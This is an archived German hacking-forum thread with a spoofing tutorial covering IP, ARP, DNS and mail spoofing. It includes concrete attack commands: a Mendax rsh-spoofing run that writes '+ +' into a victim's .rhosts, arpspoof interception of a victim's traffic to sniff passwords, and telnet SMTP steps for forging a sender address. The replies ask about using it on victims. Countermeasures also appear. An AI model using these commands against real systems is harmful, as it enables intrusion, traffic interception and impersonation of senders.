PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : TuT Spoof FAQ TuT



base10
13.05.2007, 13:10
Spoofing-FAQ

1. Was ist Spoofing ?
2. IP-Spoofing
3. ARP-Spoofing
4. DNS-Spoofing
5. Mail-Spoofing
6. Schlusswort

1. Was ist Spoofing ?

Unter Spoofing versteht man im traditionellen Sinn die Kunst eines Angreifers Pakete so zu fälschen, dass sie die Absenderadresse eines anderen (manchmal vertrauenswürdigen) Hosts tragen. Doch heutzutage gilt diese Definition als nicht mehr zeitgemäß. Die alte Definition wurde erweitert und umfasst nun alle Methoden, mit denen sich Authentifizierungs- und Identifikationsverfahren untergraben lassen, die auf der Verwendung vertrauenswürdiger Adressen oder Hostnamen beruhen.

Im Folgenden werde ich einige Spoofing-Techniken näher beleuchten. Dazu gehören :

- IP-Spoofing
- ARP-Spoofing
- DNS-Spoofing
- Mail-Spoofing

2. IP-Spoofing

Die wohl bekannteste Spoofing-Technik, welche u.a Kevin Mitnick, dem wohl bekanntesten Cracker der Welt, gute Dienste erwies. Im Allgemeinen könnte man IP-Spoofing als eine Technik des Vortäuschens einer falschen Absenderadresse definieren, die meist beabsichtigt, durch die gespoofte Absenderadresse authentifiziert zu werden. Zu Beginn noch einige grundlegende Dinge:

3-Way-Handshake:

Die Vorgehensweise eines TCP-Verbindungsaufbaus bezeichnet man als 3-Way-Handshake, da er stets in 3 Schritten abläuft.

Client (vertrauenswürdiger Host): Cl
Server: Sv
TCP-Packet mit gesetztem SYN-Flag: S
TCP-Packet mit gesetztem ACK-Flag: A
TCP-Packet mit gesetztem SYN/ACK-Flag: S/A
Initial Sequence Number: ISN


Cl ---- S , ISN(Cl) ----> Sv
Sv ---- S/A, ISN(Sv) ISN(Cl) ----> Cl
Cl ---- A, ISN(Sv) ----> Sv


TCP-Flags:

Jedes Paket in einer normalen TCP-Verbindung hat eine eindeutige Funktion. Daher ist in jeder normalen TCP-Verbindung mindestens ein Flag gesetzt. TCP-Flags sind im Übrigen ein Bestandteil des TCP-Headers. Hier werde ich nur auf 2 dieser Flags eingehen:
zum einen auf das Synchronisations-Flag (SYN) und zum anderen auf das Acknowledgement-Flag (ACK). Beim 3-Way-Handshake sendet der Client zuerst ein TCP-Paket mit gesetztem SYN-Flag an den Server, um jenem mitzuteilen, dass er nun eine Verbindung mit dem Server aufbauen möchte (Cl: "Ich würde gerne eine Verbindung mit dir aufbauen!"). Wenn der Server dieses Paket erhält, entgegnet er mit einem TCP-Paket mit gesetztem SYN/ACK-Flag (Server: "OK kein Problem. Hast du mich verstanden?"). Hat der Client nun wiederum dieses Paket empfangen, schickt er ein ACK-Paket zum Server, um die Verbindung nun vollständig aufzubauen. (Cl: "Ja, hab dich verstanden!"). Nun ist die Verbindung vollständig aufgebaut und Daten können im Rahmen der Sitzung ausgetauscht werden.

Sequenznummern:

Im Allgemeinen haben Sequenznummern innerhalb einer TCP-Verbindung 2 Dinge zu erfüllen:

- verlorengegangene Pakete können ermittelt und nachgereicht werden
- die richtige Reihenfolge der Pakete kann wiederhergestellt werden


Fallbeispiel:

Der Angreifer versucht nun den Client(Cl) auszuschalten und dann dessen IP-Adresse vorzutäuschen. Das Ausschalten des Clients lässt sich mit einer Denial of Service(DoS) Attacke bewerkstelligen. Doch nun kommt der schwerste Teil:
Der Angreifer, der nun die IP-Adresse des Clients vortäuscht, sendet ein SYN-Paket an den Server(Sv), welcher darauf ein SYN/ACK Paket mit der benötigten ISN(Sv) ins Nichts schickt, da der Client ja vom Angreifer außer Gefecht gesetzt wurde. Der Angreifer muss nun die ISN(Sv) erraten, die er mit einem ACK-Paket schicken muss, um die Verbindung aufbauen zu können. Dazu baut er vorher eine vollkommen unpreviligierte Verbindung zum Server(Sv) auf, um dessen aktuelle ISN zu bekommen. Nun muss der Angreifer schnellstmöglichst die benötigte ISN ausrechnen, was keinesfalls unmöglich ist, da es bei der Bildung einer ISN ein bestimmtes Muster gibt:

- Die ISN wird jede Sekunde um 128000 erhöht, wenn keine Verbindungen aufgebaut werden
- Die ISN wird jede Sekunde um 64000 erhöht, wenn eine Verbindung aufgebaut wird

Hinweis: Diese Technik nennt man auch Blind IP-Spoofing

Fallbeispiel Mendax:

Mendax ist ein einfaches Tool, welches zur Bestimmung von TCP-Sequenznummern und zum rshd-Spoofing verwendet werden kann. Nachdem Mendax kompiliert und ausgeführt wurde, sieht man dies auf dem Bildschirm:

$ ./mendax
-p PORT
-s PORT
-l USERNAME
-r USERNAME
-c COMMAND
-w PORT
-d
-t
-L TERM
-S PORT
first port on localhost to occupy
server port on < source > to swamp
user on < source >
user on < target >
command to execute
wait for a TCP SYN packet on port PORT
read data from stdin and send it.
test whether attack might succeed
spoof rlogind instead of rshd.
port from which to sample seq numbers.

In diesem Beispiel verwende ich 3 fiktive Rechner:

- 80.20.30.40 als Angreifer
- 80.20.30.41 als Opfer
- 80.20.30.42 als Rechner, dessen Adresse der Angreifer vortäuscht

Auf dem Rechner des Opfers (80.20.30.41) befindet sich eine hosts.equiv-Datei, die rsh-Datenverkehr von 80.20.30.42 (trusted host) zulässt:

# /etc/hosts.equiv
localhost 80.20.30.42

Das Ziel des Angreifers ist es nun einen rsh-Befehl auf 80.20.30.41 (Opfer) als Benutzer von 80.20.30.42 (trusted host) auszuführen, obwohl er die IP-Adresse 80.20.30.40 besitzt. Falls Mendax nun feststellt, dass der Zielhost (80.20.30.41) verwundbar ist, kann es jeden gewünschten Befehl auf diesem ausführen. Der Standardbefehl, der an das Opfer (80.20.30.41) gesendet wird, ist folgender:

mv .rhosts .r; echo + + > .rhosts

Dadurch wird die Datei .rhosts auf 80.20.30.41 (Opfer) angelegt, welche es jedem ermöglicht, sich von einem beliebigen Host aus einzuloggen.
Nun sendet der Angreifer (80.20.30.40) folgenden Befehl:

$ ./mendax -p 514 80.20.30.42 80.20.30.41 -l test -r test

Dieser Befehl veranlasst Mendax dazu, eine rsh-Anforderung von 80.20.30.42 (trusted host) an den rshd auf dem Host des Opfers (80.20.30.41) als Benutzer test abzuhören. Dazu setzt Mendax den trusted host (80.20.30.42) mit einer Denial of Service (DoS) Attacke außer Gefecht. In diesem Beispiel verwendet Mendax SYN-Flooding, wobei die Absenderadresse der SYN-Pakete gefälscht wird:

flooding source with TCP SYN packets from 1.2.3.4

Darauf analysiert Mendax die Generierung der Sequenznummern vom Host des Opfers (80.20.30.41). Nachdem es herausgefunden hat, auf welche Art und Weise die Sequenznummergenerierung des Opfers vor sich geht, täuscht Mendax rsh und versucht diesen Befehl auszuführen:

using 64000 as prediction difference (3 hits).
spoofing rsh.
resetting TCP target connection: .
resetting source: ...................

Nach Ausführung dieses Befehls wird die Datei .rhosts im Verzeichnis des Users test auf 80.20.30.41 (Opfer) angelegt. Sieht man sich mal den Inhalt der Datei an, wird einem schnell klar, dass nun jeder auf den Host des Opfers zugreifen kann. Ein einfaches cat .rhosts zeigt den Inhalt dieser Datei an:

+ +

Anfällige Dienste/Konfigurationen:

- alle r-Dienste (z.B. rsh)
- alle Dienste/Konfigurationen, die eine IP-Adressauthenfizierung verwenden
- Remote Procedure Calls (RPC)
- das X Window-System

Gegenmaßnahmen:

- keine Authentifizierung durch Ursprungsadressen
- Einsatz von SSH (Secure Shell), was eine solche Authentifizierung unnötig macht

Tools:
ipspoof (http://www.ciar.org/~ttk/tools/misc1/ipspoof.c)
mendax (http://adam.kaist.ac.kr/~bugsy/mendax.html)
seg number (http://www.ciar.org/~ttk/tools/misc1/seq_number.c)

3. ARP-Spoofing

Das Address Resolution Protocol (ARP) ist das Protokoll, welches für die Zuweisung von Hardware- zu IP-Adressen verantwortlich ist.Wenn nun ein Host eine Sitzung benötigt, sendet er einen ARP-Broadcast, welcher die IP-Adresse des gewünschten Hosts enthält. Um diesen Broadcast zu vermeiden gibt es den ARP-Cache. Hier werden die ARP-Informationen zwischengespeichert, welche man mit "arp -a" betrachten kann.


Schnittstelle: 80.134.91.90 on Interface 0x1000002
Internet-Adresse Physische Adresse Typ
80.132.221.126 20-53-52-43-00-00 dynamisch


Beispielausgabe von arp -a

Das Ziel des ARP-Spoofens ist es nun jenen ARP-Cache zu manipulieren. Der Angreifer behält bei dieser Technik seine Hardwareadresse bei, will aber die IP-Adresse eines vertrauenswürdigen Hosts annehmen. Dazu manipuliert der Angreifer den Cache seines Opfers durch den Versand falscher Zuordnungsinformationen. Verläuft seine Angriff erfolgreich, werden von nun an alle Pakete vom Ziel an die Hardwareadresse des Angreifers geleitet. Denn das Ziel glaubt, der Rechner des Angreifers sei der vertrauenswürdige Host.

Fallbeispiel arpspoof:

Wie der Name schon sagt ist arpspoof ein Tool, das zum ARP-Spoofing entwickelt wurde. arpspoof ist ein Teil des dsniff Pakets. Aber nun zum Wesentlichen:

Ich verwende hier wieder 3 fiktive Systeme, die mit einem Netzwerk-Switch verbunden sind:

- das System gate mit der IP-Adresse 10.1.1.1 fungiert als Standardgateway
- das System evil mit der IP-Adresse 10.1.1.5 fungiert als Angreifer
- das System victim mit der IP-Adresse 10.1.1.6 fungiert als Opfer

Als erstes benötigt der Angreifer (evil) die Hardwareadressen der Systeme gate und victim, welche zur Ausführung von arpspoof notwendig sind. Um dies zu erreichen, muss evil (10.1.1.5) zwei Ping-Befehle ausführen:

[evil] ping gate
PING 10.1.1.1 from 10.1.1.5 : 56(84) bytes of data.
64 bytes from 10.1.1.1: icmp_seq=0 ttl=128 time=1.3 ms

[evil] ping victim
PING 10.1.1.6 from 10.1.1.5 : 56(84) bytes of data.
64 bytes from 10.1.1.6: icmp_seq=0 ttl=128 time=5.1 ms

Bevor der Angreifer nun beginnen kann, sollte sein System evil die Fähigkeit haben alle Daten weiterzuleiten, damit die abgefangenen Daten doch noch ihr Ziel erreichen. Mit dem Tool fragrouter und der B1-Option kann eine einfache IP-Weiterleitung aktiviert werden.

[evil] fragrouter -B1

So nun kann es losgehen. Der Angreifer führt nun folgenden Befehl aus:

[evil] arpspoof -t 10.1.1.6 10.1.1.1

Durch diesen Befehl wird der ganze Datenverkehr von victim (10.1.1.6) an gate (10.1.1.1) an das System des Angreifers (evil) weitergeleitet. Dieser kann nun mit dem Sniffer seiner Wahl den Datenverkehr aufzeichnen und so z.B. an Passwörter gelangen.

Nachteile:

- Die Cache-Einträge verlieren meist zu schnell ihre Gültigkeit. Daher müsste der Angreifer den ARP-Cache des Opfers periodisch neu manipulieren.

- Intelligente Hardware (Router, Switsches) kann solche Attacken wirkungslos machen

Gegenmaßnahmen:

- Das statische Festlegen der Mappings (Adresszuordnungen). Dies kann man mit dem Tool arp erledigen:

arp -s hostname hw_address

- Einsatz des Tools Arpwatch. Es achtet auf Veränderungen der IP-/Ethernet-Mappings. Falls das Programm eine Veränderung bemerkt, wird man per E-Mail alamiert. Außerdem findet eine Protokollierung der Manipulationen statt.


Tools:

arpspoof (http://www.monkey.org/~dugsong/dsniff/)
Arpwatch (http://www.securityfocus.com/tools/142)
Ettercap (http://ettercap.sourceforge.net/)
fragrouter (http://www.securityfocus.com/tools/176)

4. DNS-Spoofing

Das Domain Name System (DNS) ist für die Zuweisung von IP-Adressen zu Hostnamen und umgekehrt zuständig. Bei dieser Technik des Spoofens dringt der Angreifer in den DNS-Server ein und ändert dort die Zuordnungstabellen von Hostnamen und IP-Adressen. Diese Änderungen werden in die Datenbanken mit den Übersetzungtabellen auf dem DNS-Server geschrieben. Fordert nun ein Client die Auflösung eines Hostnamens an, so erhält er eine gefälschte Adresse, welche die IP-Adresse eines Rechners ist, der sich unter der Kontrolle des Angreifers befindet. Jedoch kommt diese Art des Spoofens eher selten vor.

Gegenmaßnahmen:

- Einsatz des Script-Utilities DOC (Domain Obscenity Control)

Tools:

DOC (ftp://ftp.netsys.com/len/doc-2.2.3.tar.gz)
ERECT (http://www.geocities.com/SiliconValley/Peaks/7837/explo/any-erec.txt)
jizz (http://www.hoobie.clara.net/security/exploits/jizz.c)

5. Mail-Spoofing

Unter Mail-Spoofing versteht man das Versenden einer Mail mit gefakter Absenderadresse. Um eine Mail mit gefälschter Absenderadresse zu schreiben folge man diesen Schritten:

Fallbeispiel Telnet:

1. telnet mailserver 25 (anstelle von mailserver die Adresse des anonymen SMTP-Servers eingeben)
2. Um uns zu identifizieren geben wir den Befehl HELO ID ein, wobei es vollkommen egal ist was man für ID eingibt.
3. MAIL FROM: < absenderadresse@gefaked >
4. RCPT TO: < empfaenger@dermail >
5. DATA
6. subject: Betreff
7. Nun können sie ihre Nachricht eingeben.
8. . (ja ein Punkt)
9. QUIT

Es gibt jedoch nur noch sehr wenige anonyme Mailserver, so dass man doch schon sehr lange suchen kann bis man einen findet. Die Alternative besteht darin sich einen eigenen anonymen SMTP-Server auf seinem PC einzurichten.

Flupp
13.05.2007, 13:53
Das ist mal echt Spitze...hab mir grad alles durchgelesen ....

die eigentliche frage ist gibt es zu dieser FAQ eine Begriffsliste zusammen fassend von allen abkürzungen ???

und was sie machen und bedeuten ......

Die letzte frage mit einem rechner hat man verlren !?!?
Besitze nur einen....

Ach ja aist das von dir geschrieben ?

so nen DCP Dump würd ich gern mal machen ^^ :kiffen:

-e-Wie sieht es heute aus du hast geschrieben das es nicht mehr aktuell ist ......gibt es auch neueres dazu zu dem sniffen bzw spoofen eines vics?

base10
13.05.2007, 13:58
naja nicht direkt geschrieben eher zusammengefügt und gesammelt....^^ legende zu abkürzungen willst du? hmmm mach ich im laufe des tages rein

Flupp
13.05.2007, 14:01
Oki cool ...gibt es da uch schon was neues oder funzt das heute auch noch...

base10
13.05.2007, 14:05
hab da software für geuppt versuchs mal damit